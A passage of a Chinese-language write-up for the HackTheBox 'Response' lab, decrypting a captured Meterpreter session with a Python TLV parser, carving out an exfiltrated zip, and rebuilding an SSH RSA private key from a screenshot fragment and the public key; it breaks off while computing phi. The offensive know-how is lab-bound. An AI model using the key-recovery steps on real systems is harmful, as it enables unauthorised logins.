TLV l=12       t=TLV_TYPE_COMMAND_ID        v=b'\x00\x00\x04\x1f'
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'50754330642773297958'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=55       t=TLV_TYPE_USER_NAME         v=b'root @ response (uid'
```

添加一些代码来解析这些命令id，将它们添加到常量中，然后像这样调用它:

``` bash
    j = 0
    while j + 8 < len(tlv_data):
        l = int.from_bytes(tlv_data[j:j+4], 'big')
        if l == 0:
            import pdb;pdb.set_trace()
        t = int.from_bytes(tlv_data[j+4:j+8], 'big')
        v = tlv_data[j+8:j+l]
        if t == 0x20001: #COMMAND_ID
            v = cmd_ids[int.from_bytes(v[:4], 'big')]
        print(f"TLV l={l:<8} t={tlv_types[t]:<26} v={v if len(v) <= 20 else v[:20]}")
        j += l
```

现在 REQUEST_ID 看起来:

``` bash
Packet: type=Req  len=88       enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETUID
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'50754330642773297958262819401791\x00'
Packet: type=Resp len=184      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETUID
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'50754330642773297958262819401791\x00'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=55       t=TLV_TYPE_USER_NAME         v=b'root @ response (uid=0, gid=0, euid=0, egid=0)\x00'
```

另一个有趣的命令是FL_LS:

``` bash
Packet: type=Resp len=360      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_FS_LS
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'20050676170239424614686344865879\x00'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=20       t=TLV_TYPE_FILE_NAME         v=b'auto_update\x00'
TLV l=29       t=TLV_TYPE_FILE_PATH         v=b'/dev/shm/auto_update\x00'
TLV l=72       t=TLV_TYPE_STAT_BUF          v=b"\x1a\x00\x00\x00\xed\x81\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x98\xc0\x0f\x00\x00\x00\x00\x00o'/b\x00\x00\x00\x00\x8a\x1e/b\x00\x00\x00\x00m'/b\x00\x00\x00\x00"
TLV l=18       t=TLV_TYPE_FILE_NAME         v=b'multipath\x00'
TLV l=27       t=TLV_TYPE_FILE_PATH         v=b'/dev/shm/multipath\x00'
TLV l=72       t=TLV_TYPE_STAT_BUF          v=b'\x1a\x00\x00\x00\xc0A\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\xc3'
```

似乎对于每个文件，它都会返回FILE_NAME、FILE_PATH和STAT_BUF。不确定如何解释STAT_BUF。

可以看到会话中执行的命令及其结果:

|  Command   | Response  |
|  ----  | ----  |
| CORE_NEGOTIATE_TLV_ENCRYPTION (includes RSA public key)  | Sends encrypted symmetric key |
| CORE_MACHINE_ID  | 10.10.13.37:b88b42ad757245828e688fdbfa4824f8 |
| CORE_SET_SESSION_GUID  | - |
| CORE_ENUMEXTCMD  | Returns a long list of UINTs |
| STDAPI_FS_GETWD  | /dev/shm |
| STDAPI_SYS_CONFIG_GETUID  | root @ response root @ response (uid=0, gid=0, euid=0, egid=0) |
| STDAPI_SYS_CONFIG_SYSINFO  | Three TLVS:
 COMPUTER_NAME = 10.10.13.37
 OS_NAME = Ubuntu 20.04 (Linux 5.4.0-100-generic)
 ARCHITECTURE = x86_64
 BUILD_TUPLE = x86_64-linux-musl |
| STDAPI_NET_CONFIG_GET_INTERFACES  | Full list of interfaces |
| STDAPI_NET_CONFIG_GET_ROUTES  | Full list of routes |
| STDAPI_FS_GETWD  | /dev/shm |
| STDAPI_FS_STAT, FILE_PATH = /dev/shm  | A STAT_BUF. Not sure how to interpret. |
| STDAPI_FS_LS, DIRECTORY_PATH = /dev/shm  | Two files, auto_update and multipath. |
| STDAPI_FS_GETWD  | /dev/shm |
| STDAPI_FS_STAT, FILE_PATH = /root  | A STAT_BUF. Not sure how to interpret. |
| STDAPI_FS_LS, DIRECTORY_PATH = /root  | Files in /root. |
| STDAPI_FS_STAT, FILE_PATH = /root/docs_backup.zip  | A STAT_BUF. Not sure how to interpret. |
| CORE_CHANNEL_OPEN, FILE_PATH = /root/docs_backup.zip  | Returns a channel id. |
| STDAPI_FS_STAT, FILE_PATH = /root/docs_backup.zip  | A STAT_BUF. Not sure how to interpret. |
| CORE_CHANNEL_READ, CHANNEL_ID = 1  | 1,048,576 bytes, starting with PK |
| CORE_CHANNEL_READ, CHANNEL_ID = 1  | 	225,962 bytes |
| CORE_CHANNEL_READ, CHANNEL_ID = 1  | No data |
| CORE_CHANNEL_EOF, CHANNEL_ID = 1  | - |
| CORE_CHANNEL_CLOSE, CHANNEL_ID = 1  | - |

#### Extract Zip

注意到，大文件传输发生在上传/root/docs_backup.zip时。报告中的提示已经提到需要进入zip存档。将添加一些代码来保存zip文件。有三个CHANNEL_READ请求:

``` bash
Packet: type=Req  len=104      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_CHANNEL_READ
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'81583094782444646844363494472485\x00'
TLV l=12       t=TLV_TYPE_CHANNEL_ID        v=b'\x00\x00\x00\x01'
TLV l=12       t=TLV_TYPE_LENGTH            v=b'\x00\x10\x00\x00'
Packet: type=Resp len=1048712  enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_CHANNEL_READ
TLV l=12       t=TLV_TYPE_CHANNEL_ID        v=b'\x00\x00\x00\x01'
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'81583094782444646844363494472485\x00'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=1048584  t=TLV_TYPE_CHANNEL_DATA      v=b'PK\x03\x04\n\x00\x00\x00\x00\x00\xb4TnT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x1c\x00Documents/UT\t\x00\x03\xe3\x0c/b\\\x9bJcux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\xabTnT\x1cV\x87\xf8\x85\x00\x00\x00\xf5\x00\x00\x00\x14\x00\x1c\x00Documents/.tmux.confUT\t\x00\x03\xd1\x0c/ba\r/bux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x8d\x8e\xc1\n\xc3 \x10D\xef~\xc5b)9\t\xbd\xf4{\x82\xda\xad.5\xab\xe8\xa6!\x94\xfe{\x95\xder(\x9d\xd30\xf3\x06\xa6\xa1\x80\t\x10\xa9I\xae\xbbI\xb4\x90\xc0\xf5\xd2'
Packet: type=Req  len=104      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_CHANNEL_READ
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'48857921355208983185187224372436\x00'
TLV l=12       t=TLV_TYPE_CHANNEL_ID        v=b'\x00\x00\x00\x01'
TLV l=12       t=TLV_TYPE_LENGTH            v=b'\x00\x10\x00\x00'
Packet: type=Resp len=226104   enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_CHANNEL_READ
TLV l=12       t=TLV_TYPE_CHANNEL_ID        v=b'\x00\x00\x00\x01'
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'48857921355208983185187224372436\x00'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=225970   t=TLV_TYPE_CHANNEL_DATA      v=b'\xfa\x8a"\x15\xb3[BS\x04~\x15VV\x80\xbc!\xb7)Q<\xce\xe5\xc0y1\x19U\xbe\x94\xd4\x1e\xd6\xd0D\x12\xb5S\xe3\xa6"a@\xfaXO\x9a\xb2V\xf4\xceb\xbd\xde\xbf\xda\\.\x81\xd1\xd6\nzc|E\x16c\xc7X`*\xf8\x88\x11e;\xdb1T\xfe\xc8\xd1_\xbf,\xb1!!A\x9eg\xba\xde\xa5\x99$\xf9\x81{\xbc\x14b\xe2\x9a;\x16\xb0\xee^%\xf6`]\x85\x00x:a\x0c\xbe\xe3\x97i\x97\xcdJ{\xf5]w2G\xe0D\xe5P\x8a\xd8d\xe2j\'\x13\xfe\xa1\xae\x1c\xc6zF\x0c\x94L\xcc\xd7\xdd\x9dj\xa1\xe7\xaa\x83t\xd4\xc1\xa7W\x1b\xac\x1e\x8f\xa0\x19\x0f^T\xfa \xf3e\xf0\xddg\x05GWnj\xa2\xfb \xf0\xd0\xd8\xe3(\xab\xb8\xb6C'
Packet: type=Req  len=104      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_CHANNEL_READ
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'71560517686021057956178610979680\x00'
TLV l=12       t=TLV_TYPE_CHANNEL_ID        v=b'\x00\x00\x00\x01'
TLV l=12       t=TLV_TYPE_LENGTH            v=b'\x00\x10\x00\x00'
Packet: type=Resp len=136      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_CHANNEL_READ
TLV l=12       t=TLV_TYPE_CHANNEL_ID        v=b'\x00\x00\x00\x01'
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'71560517686021057956178610979680\x00'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=8        t=TLV_TYPE_CHANNEL_DATA      v=b''
```

如果它是TLV_TYPE_CHANNEL_DATA，将其保存到一个文件中。如果有很多文件，从channel打开请求中解析文件名，然后根据channel id保存。假设只有一个文件，如果TLV类型是CHANNEL_DATA，创建该文件并保存到其中。在脚本顶部，将清除该文件中的任何现有数据(否则在一行中运行两次将给出双zip):

``` bash
open('docs_backup.zip', 'w').close() # clear zip file
```

现在解析tlv的循环中，将添加一个CHANNEL_DATA检查:

``` bash
    while j < len(tlv_data):
        l = int.from_bytes(tlv_data[j:j+4], 'big')
        if j + l > len(tlv_data) or l == 0:
            break
        t = int.from_bytes(tlv_data[j+4:j+8], 'big')
        v = tlv_data[j+8:j+l]
        if t == 0x20001: #COMMAND_ID
            v = cmd_ids[int.from_bytes(v[:4], 'big')]
        elif t == 0x40034: #CHANNEL_DATA
            with open('docs_backup.zip', 'ab') as f:
                f.write(v)
        if len(v) > 200:
            v = v[:200]
        print(f"TLV l={l:<8} t={tlv_types[t]:<26} v={v}")
        j += l
```

运行脚本得到zip:

``` bash
kali@hacky$ file docs_backup.zip 
docs_backup.zip: Zip archive data, at least v1.0 to extract
```

 - 完整脚本parse_msf.py:

``` bash
#!/usr/bin/env python3

import uuid
from Crypto.Cipher import AES
from scapy.all import *
from msfconsts import tlv_types, cmd_ids

enc_types = {0: "None", 1: "AES256", 2: "AES128"}
packet_types = {0: "Req", 1: "Resp"}
aes_key = bytes.fromhex('f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5')
open('docs_backup.zip', 'w').close() # clear zip file


def xor(buf, key):
    return bytes([x ^ key[i % len(key)] for i, x in enumerate(buf)])


# pull all bytes into a stream
pcap = rdpcap("./msf.pcap")
stream = b"".join([bytes(packet[TCP].payload) for packet in pcap if TCP in packet])

i = 0
while i < len(stream):
    xor_head = stream[i:i+32]
    xor_key = xor_head[:4]
    head = xor(xor_head, xor_key)
    session_guid = head[4:20]
    enc_flag = int.from_bytes(head[20:24], "big")
    packet_len = int.from_bytes(head[24:28], "big")
    packet_type = int.from_bytes(head[28:32], "big")

    print(f"Packet: type={packet_types[packet_type]:<4} len={packet_len:<8} enc={enc_types[enc_flag]} sess={uuid.UUID(bytes=session_guid)}")

    tlv_data = xor(stream[i+32:i+packet_len+24], xor_key)
    if enc_flag == 1:
        aes_iv = tlv_data[:16]
        cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
        tlv_data = cipher.decrypt(tlv_data[16:])

    j = 0
    while j < len(tlv_data):
        l = int.from_bytes(tlv_data[j:j+4], 'big')
        if j + l > len(tlv_data) or l == 0:
            break
        t = int.from_bytes(tlv_data[j+4:j+8], 'big')
        v = tlv_data[j+8:j+l]
        if t == 0x20001: #COMMAND_ID
            v = cmd_ids[int.from_bytes(v[:4], 'big')]
        elif t == 0x40034: #CHANNEL_DATA
            with open('docs_backup.zip', 'ab') as f:
                f.write(v)
        if len(v) > 50:
            v = v[:50]
        print(f"TLV l={l:<8} t={tlv_types[t]:<26} v={v}")
        j += l
    
    i += 24 + packet_len
```

#### 破碎ssh key 复原
#### 检查 docs_backup.zip

zip文件有一个Documents文件夹的备份:

``` bash
kali@hacky$ zipinfo docs_backup.zip 
Archive:  docs_backup.zip
Zip file size: 1274538 bytes, number of entries: 6
drwxr-xr-x  3.0 unx        0 bx stor 22-Mar-14 09:37 Documents/
-rw-rw-r--  3.0 unx      245 tx defN 22-Mar-14 09:37 Documents/.tmux.conf
-rw-rw-r--  3.0 unx  1278243 bx defN 22-Jun-15 11:37 Documents/Screenshot from 2022-06-15 13-37-42.png
-rw-rw-r--  3.0 unx       95 tx defN 22-Mar-14 09:37 Documents/.vimrc
-rw-------  3.0 unx     1522 tx defN 22-Mar-14 08:57 Documents/bookmarks_3_14_22.html
-rw-------  3.0 unx      567 tx defN 22-Mar-14 09:36 Documents/authorized_keys
6 files, 1280672 bytes uncompressed, 1273444 bytes compressed:  0.6%
```

authorized_keys文件在Response上只有root用户的公钥。它本身用处不大。bookmarks_3_14_22.html文件有几个指向twitter页面和另一个黑客网站的链接。.tmux.conf或.vimrc文件中没有任何有价值的内容。

截图很有趣:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response7.png)

它是用户的Ubuntu桌面，有Response站点，文件管理器，一些更新，还有一个终端。有趣的是，终端有一个私有SSH密钥的结尾:

#### RSA背景

一般来说，有一些与RSA相关的变量。

 - 从随机质数p和q开始。

 - N = p * q， φ = (p-1) * (q-1)。

 - E是一个大于1但小于φ的数。它几乎总是设置为0x10001(65537)。

 - D是e mod φ的模乘逆。这听起来很复杂，但这只是一行Python代码。

要加密一条消息，m，你要把它转换成一个整数，加密后的整数是m^e mod n。要解密，用c^d mod n，就是这样。

SSH公钥格式将在[RFC4253 section 6.6](https://www.rfc-editor.org/rfc/rfc4253#section-6.6)中讨论。通常，公钥有三个字段:

 - 密钥类型
 - base64编码的值团
 - 注释(通常是用户的电子邮件地址)

定义了值blob的ssh-rsa格式:

``` bash
The "ssh-rsa" key format has the following specific encoding:

string    "ssh-rsa"
mpint     e
mpint     n
```

key中的每一项都是[4 byte length][value]的形式。私钥结构不在RFC中，但在这篇[博文](https://dnaeon.github.io/openssh-private-key-binary-format/)中描述为:

``` bash
;; AUTH_MAGIC is a hard-coded, null-terminated string,
;; set to "openssh-key-v1".
byte[n] AUTH_MAGIC

;; ciphername determines the cipher name (if any),
;; or is set to "none", when no encryption is used.
string   ciphername

;; kdfname determines the KDF function name, which is
;; either "bcrypt" or "none"
string   kdfname

;; kdfoptions field.
;; This one is actually a buffer with size determined by the
;; uint32 value, which preceeds it.
;; If no encryption was used to protect the private key,
;; it's contents will be the [0x00 0x00 0x00 0x00] bytes (empty string).
;; You should read the embedded buffer, only if it's size is
;; different than 0.
uint32 (size of buffer)
    string salt
    uint32 rounds

;; Number of keys embedded within the blob.
;; This value is always set to 1, at least in the
;; current implementation of the private key format.
uint32 number-of-keys

;; Public key section.
;; This one is a buffer, in which the public key is embedded.
;; Size of the buffer is determined by the uint32 value,
;; which preceeds it.
;; The public components below are for RSA public keys.
uint32 (size of buffer)
    string keytype ("ssh-rsa")
    mpint  e       (RSA public exponent)
    mpint  n       (RSA modulus)

;; Encrypted section
;; This one is a again a buffer with size
;; specified by the uint32 value, which preceeds it.
;; The fields below are for RSA private keys.
uint32 (size of buffer)
    uint32  check-int
    uint32  check-int  (must match with previous check-int value)
    string  keytype    ("ssh-rsa")
    mpint   n          (RSA modulus)
    mpint   e          (RSA public exponent)
    mpint   d          (RSA private exponent)
    mpint   iqmp       (RSA Inverse of Q Mod P, a.k.a iqmp)
    mpint   p          (RSA prime 1)
    mpint   q          (RSA prime 2)
    string  comment    (Comment associated with the key)
    byte[n] padding    (Padding according to the rules above)
```

这里还有很多! 私钥包括公钥，也包括d、p、q。

#### Recover Key

现在假设authorized_keys文件中的公钥与屏幕截图中的部分私钥配对。因为只有部分私钥，所以将从公钥开始:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/response/doc_backup]
└─# cat authorized_keys | cut -d' ' -f2 | base64 -d | hexdump -C
00000000  00 00 00 07 73 73 68 2d  72 73 61 00 00 00 03 01  |....ssh-rsa.....|
00000010  00 01 00 00 01 81 00 9e  3a 2c fb b9 52 5a d7 f1  |........:,..RZ..|
00000020  b2 ea 97 a9 03 af 1b 4f  69 e5 33 61 3a 78 d5 51  |.......Oi.3a:x.Q|
00000030  2e 9a 08 94 dc 91 7a 94  24 e8 de d3 90 14 b2 9d  |......z.$.......|
00000040  04 a1 a1 97 ac 07 22 76  83 7a 53 89 65 d9 22 b6  |......"v.zS.e.".|
00000050  8f f3 4b a9 29 bd 45 be  f2 d3 ed b5 88 1f b6 2b  |..K.).E........+|
00000060  cc 11 ef b6 30 08 af 2b  a1 df 96 79 8b fa f0 69  |....0..+...y...i|
00000070  d4 14 02 9a 1d 3d 2c fe  c0 c6 10 69 89 b7 66 54  |.....=,....i..fT|
00000080  49 07 3f 14 96 4a 12 38  f0 bd 7d 45 6b ac ca 11  |I.?..J.8..}Ek...|
00000090  50 88 ee 7e 6d f8 c2 90  4d b7 3c 6d ed f7 1b 11  |P..~m...M.<m....|
000000a0  95 f3 be 37 d7 8e 8b f9  b6 42 a0 39 1f 67 f9 89  |...7.....B.9.g..|
000000b0  02 96 ab 76 64 eb 3e cc  dc 90 39 ea 73 58 5a 5d  |...vd.>...9.sXZ]|
000000c0  5b 61 7c f0 dd 9b e6 59  bd df 6e 70 78 93 30 f4  |[a|....Y..npx.0.|
000000d0  c1 81 94 72 78 cb 6e 68  d6 d8 7b af de 2a 01 e8  |...rx.nh..{..*..|
000000e0  05 08 8b 9a 13 8f cb 5e  31 f2 5d 83 45 cc 86 1b  |.......^1.].E...|
000000f0  a7 bc 98 29 c1 05 9f 3f  09 ad 1a 05 78 07 7b ba  |...)...?....x.{.|
00000100  1a 90 26 2f 99 1e 23 d1  7d 20 08 c5 af ef 40 e6  |..&/..#.} ....@.|
00000110  40 37 99 0b ca 14 8f ec  2b e0 a5 dc 3c 11 a5 94  |@7......+...<...|
00000120  83 16 4e 84 9e d4 b3 85  6e 66 b2 5f 47 bd d3 bb  |..N.....nf._G...|
00000130  25 07 c2 40 05 2d 46 53  f0 4a e8 bd 36 ce 22 94  |%..@.-FS.J..6.".|
00000140  85 97 0d 60 7e 13 4e 50  ee fc c2 07 3b f2 77 8b  |...`~.NP....;.w.|
00000150  2a ae 6a a3 cf 0c 46 07  52 f4 19 08 91 ce 78 9c  |*.j...F.R.....x.|
00000160  1e 1d 09 91 d2 aa ba e7  0e 1c c6 1b c3 0d 12 11  |................|
00000170  87 88 25 b6 35 43 e3 79  9d 83 f2 f1 e7 1a 7f 97  |..%.5C.y........|
00000180  21 08 72 dc 12 c3 3d 62  91 e6 8e 05 d6 f0 8b e8  |!.r...=b........|
00000190  05 ff a2 e7 f5 49 51                              |.....IQ|
00000197
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response8.png)

在这里突出显示了三个 长度-值 对:

 - 密钥格式[橙色] - 7字节，"ssh-rsa"

 - E[蓝色] - 3字节，0x010001

 - N[黄色] - 0x181字节，big int

现在可以写一个小脚本解析这个文件获取n，e:

``` python
#!/usr/bin/env python3
import sys
from base64 import b64decode

def parse_pubkey(pk):
	keytype_len = int.from_bytes(pk[:0x4], 'big')
	keytype = pk[0x4:0x4+keytype_len]
	pk = pk[0x4+keytype_len:]
	e_len = int.from_bytes(pk[:0x4], 'big')
	e = int.from_bytes(pk[0x4:0x4+e_len], 'big')
	pk = pk[0x4+e_len:]
	n_len = int.from_bytes(pk[:0x4], 'big')
	n = int.from_bytes(pk[0x4:0x4+n_len], 'big')

	print('keytype = %s' % keytype.decode())
	print('e = 0x%x' % e)
	print('N = 0x%x' % n)

if (len(sys.argv) < 2):
	print('usage:\n %s <pubkey file>' % sys.argv[0])
	quit()

d = open(sys.argv[1], 'rb').read()
pk = b64decode(d.split(b' ')[1])
parse_pubkey(pk)
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/response/doc_backup]
└─# python parse_pubkey.py authorized_keys                      
keytype = ssh-rsa
e = 0x10001
N = 0x9e3a2cfbb9525ad7f1b2ea97a903af1b4f69e533613a78d5512e9a0894dc917a9424e8ded39014b29d04a1a197ac072276837a538965d922b68ff34ba929bd45bef2d3edb5881fb62bcc11efb63008af2ba1df96798bfaf069d414029a1d3d2cfec0c6106989b7665449073f14964a1238f0bd7d456bacca115088ee7e6df8c2904db73c6dedf71b1195f3be37d78e8bf9b642a0391f67f9890296ab7664eb3eccdc9039ea73585a5d5b617cf0dd9be659bddf6e70789330f4c181947278cb6e68d6d87bafde2a01e805088b9a138fcb5e31f25d8345cc861ba7bc9829c1059f3f09ad1a0578077bba1a90262f991e23d17d2008c5afef40e64037990bca148fec2be0a5dc3c11a59483164e849ed4b3856e66b25f47bdd3bb2507c240052d4653f04ae8bd36ce229485970d607e134e50eefcc2073bf2778b2aae6aa3cf0c460752f4190891ce789c1e1d0991d2aabae70e1cc61bc30d1211878825b63543e3799d83f2f1e71a7f97210872dc12c33d6291e68e05d6f08be805ffa2e7f54951
```

或者使用RsaCtfTool的--dumpkey和--publickey来dump key的值:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/response/doc_backup]
└─# python /root/RsaCtfTool-master/RsaCtfTool.py --publickey authorized_keys --dumpkey
private argument is not set, the private key will not be displayed, even if recovered.
Details for authorized_keys:
n: 3590773335101238071859307517426880690889840523373109884703778010764218094115323788644947218525265498470146994925454017059004091762707129955524413436586717182608324763300282675178894829982057112627295254493287098002679639669820150059440230026463333555689667464933204440020706407713635415638301509611028928080368097717646239396715845563655727381707204991971414197232171033109308942706448793290810366211969147142663590876235902557427967338347816317607468319013658232746475644358504534903127732182981965772016682335749548359468750099927184491041818321309183225976141161842377047637016333306802160159421621687348405702117650608558846929592531719185754360656942555261793483663585574756410582955655659226850666667278286719778179120315714973739946191120342805835285916572624918386794240440690417793816096752504556412306980419975786379416200263786952472798045196058762477056525870972695021604337904447201141677747670148003857478011217
e: 65537
```

至于私钥，首先需要从截图中获取文本。在OCR上部分字符识别错误，最后大部分都是用手输入:

``` bash
ntEd3KnWNpkbwp28vVgasUOq3CQBbDOQAAAMEAxwsaGXCZwMb/JH88XvGhu1Bo2zomIhaV
MrbN5x4q3c7Z0u9gmkXO+NWMpX7T20l0OBEIhrW6DQOsxis/CrS5u69F6tUZjlUdNE1zIE
7IFv2QurMwNL89/SnlQbe24xb+IjafKUaOPsNcpFakP4vxnKL+uw6qFoqRdSZyndgArZKD
K26Z7ZzdV2ln2kyiLfokN8WbYxHeQ/7/jVBXf71BU1+Xg8X44njVp3Xf9gO6cYVaqb1xBs
Z7bG8Warkycj7ZAAAADXJvb3RAcmVzcG9uc2UBAgMEBQ==
```

如果尝试Base64解码这一部分，将得到一个错误，这是因为它是在字节边界上切割的，这将使后面的所有数据都是错误的。Base64编码需要3个字节，输出4个字符。所以如果从这四个字符块的中间开始，就会出错。可以用A填充起始点，直到它被固定。每个A在前面加6个空位。在两个a之后，就不再有错误了。使用两个A字符作为填充:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/response/doc_backup]
└─# (echo -n AA;cat partial_key)|grep -v '-'|base64 -d|hexdump -C
00000000  00 09 ed 11 dd ca 9d 63  69 91 bc 29 db cb d5 81  |.......ci..)....|
00000010  ab 14 3a ad c2 40 16 c3  39 00 00 00 c1 00 c7 0b  |..:..@..9.......|
00000020  1a 19 70 99 c0 c6 ff 24  7f 3c 5e f1 a1 bb 50 68  |..p....$.<^...Ph|
00000030  db 3a 26 22 16 95 32 b6  cd e7 1e 2a dd ce d9 d2  |.:&"..2....*....|
00000040  ef 60 9a 45 ce f8 d5 8c  a5 7e d3 db 49 74 38 11  |.`.E.....~..It8.|
00000050  08 86 b5 ba 0d 03 ac c6  2b 3f 0a b4 b9 bb af 45  |........+?.....E|
00000060  ea d5 19 8e 55 1d 34 4d  73 20 4e c8 16 fd 90 ba  |....U.4Ms N.....|
00000070  b3 30 34 bf 3d fd 29 e5  41 b7 b6 e3 16 fe 22 36  |.04.=.).A....."6|
00000080  9f 29 46 8e 3e c3 5c a4  56 a4 3f 8b f1 9c a2 fe  |.)F.>.\.V.?.....|
00000090  bb 0e aa 16 8a 91 75 26  72 9d d8 00 ad 92 83 2b  |......u&r......+|
000000a0  6e 99 ed 9c dd 57 69 67  da 4c a2 2d fa 24 37 c5  |n....Wig.L.-.$7.|
000000b0  9b 63 11 de 43 fe ff 8d  50 57 7f bd 41 53 5f 97  |.c..C...PW..AS_.|
000000c0  83 c5 f8 e2 78 d5 a7 75  df f6 03 ba 71 85 5a a9  |....x..u....q.Z.|
000000d0  bd 71 06 c6 7b 6c 6f 16  6a b9 32 72 3e d9 00 00  |.q..{lo.j.2r>...|
000000e0  00 0d 72 6f 6f 74 40 72  65 73 70 6f 6e 73 65 01  |..root@response.|
000000f0  02 03 04 05                                       |....|
000000f4
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response9.png)

注意前12位是我加的，所以这三个十六进制0。将扫描输出，寻找看起来可能是长度的4字节的块。如果是一个长度，那么下一个长度应该是后面这么多字节。这里有两点:

 - p[紫色]的末尾 - 000不是一个部件，因为我添加了这个，之前没有关于大小的信息

 - Q[红色] - 0xc1字节，large int

 - 注释[绿色] - 0xd字节，"root@response"，匹配公共注释。

 - Padding [tan]

记住只选择c70b和3ed9之间的值，如上图中突出显示的那样。

从这里得到的唯一值是q，但这就是所需要的。在Python shell中进行计算，从恢复的三个值开始:

``` bash
>>> n = 3590773335101238071859307517426880690889840523373109884703778010764218094115323788644947218525265498470146994925454017059004091762707129955524413436586717182608324763300282675178894829982057112627295254493287098002679639669820150059440230026463333555689667464933204440020706407713635415638301509611028928080368097717646239396715845563655727381707204991971414197232171033109308942706448793290810366211969147142663590876235902557427967338347816317607468319013658232746475644358504534903127732182981965772016682335749548359468750099927184491041818321309183225976141161842377047637016333306802160159421621687348405702117650608558846929592531719185754360656942555261793483663585574756410582955655659226850666667278286719778179120315714973739946191120342805835285916572624918386794240440690417793816096752504556412306980419975786379416200263786952472798045196058762477056525870972695021604337904447201141677747670148003857478011217
>>> e = 0x10001
>>> q = int('c70b1a197099c0c6ff247f3c5ef1a1bb5068db3a2622169532b6cde71e2addced9d2ef609a45cef8d58ca57ed3db497438110886b5ba0d03acc62b3f0ab4b9bbaf45ead5198e551d344d73204ec816fd90bab33034bf3dfd29e541b7b6e316fe22369f29468e3ec35ca456a43f8bf19ca2febb0eaa168a917526729dd800ad92832b6e99ed9cdd576967da4ca22dfa2437c59b6311de43feff8d50577fbd41535f9783c5f8e278d5a775dff603ba71855aa9bd7106c67b6c6f166ab932723ed9', 16)
```

通过n和q，可以计算出p:

``` bash
>>> p = n//q
>>> print(p)
1916050306205333561419340654997247210048413641801348970960079514616664134719102135041323559808823287507117764495506641667502188027100449148337242917863760454705051745311589368966639723256790995465786349803085767646492327358529192956998140247230141324083433547842337416562412168069467780529408980611520951488107555503940773583448434212344944450737794180001456574166216535263941314645573920302378030613909969529154033431308763003703277642056872726635405506000634681
>>> p*q == n
True
```

现在计算φ:

``` bash
>>> phi = (p-1)*(q-1)
>>> print(phi)
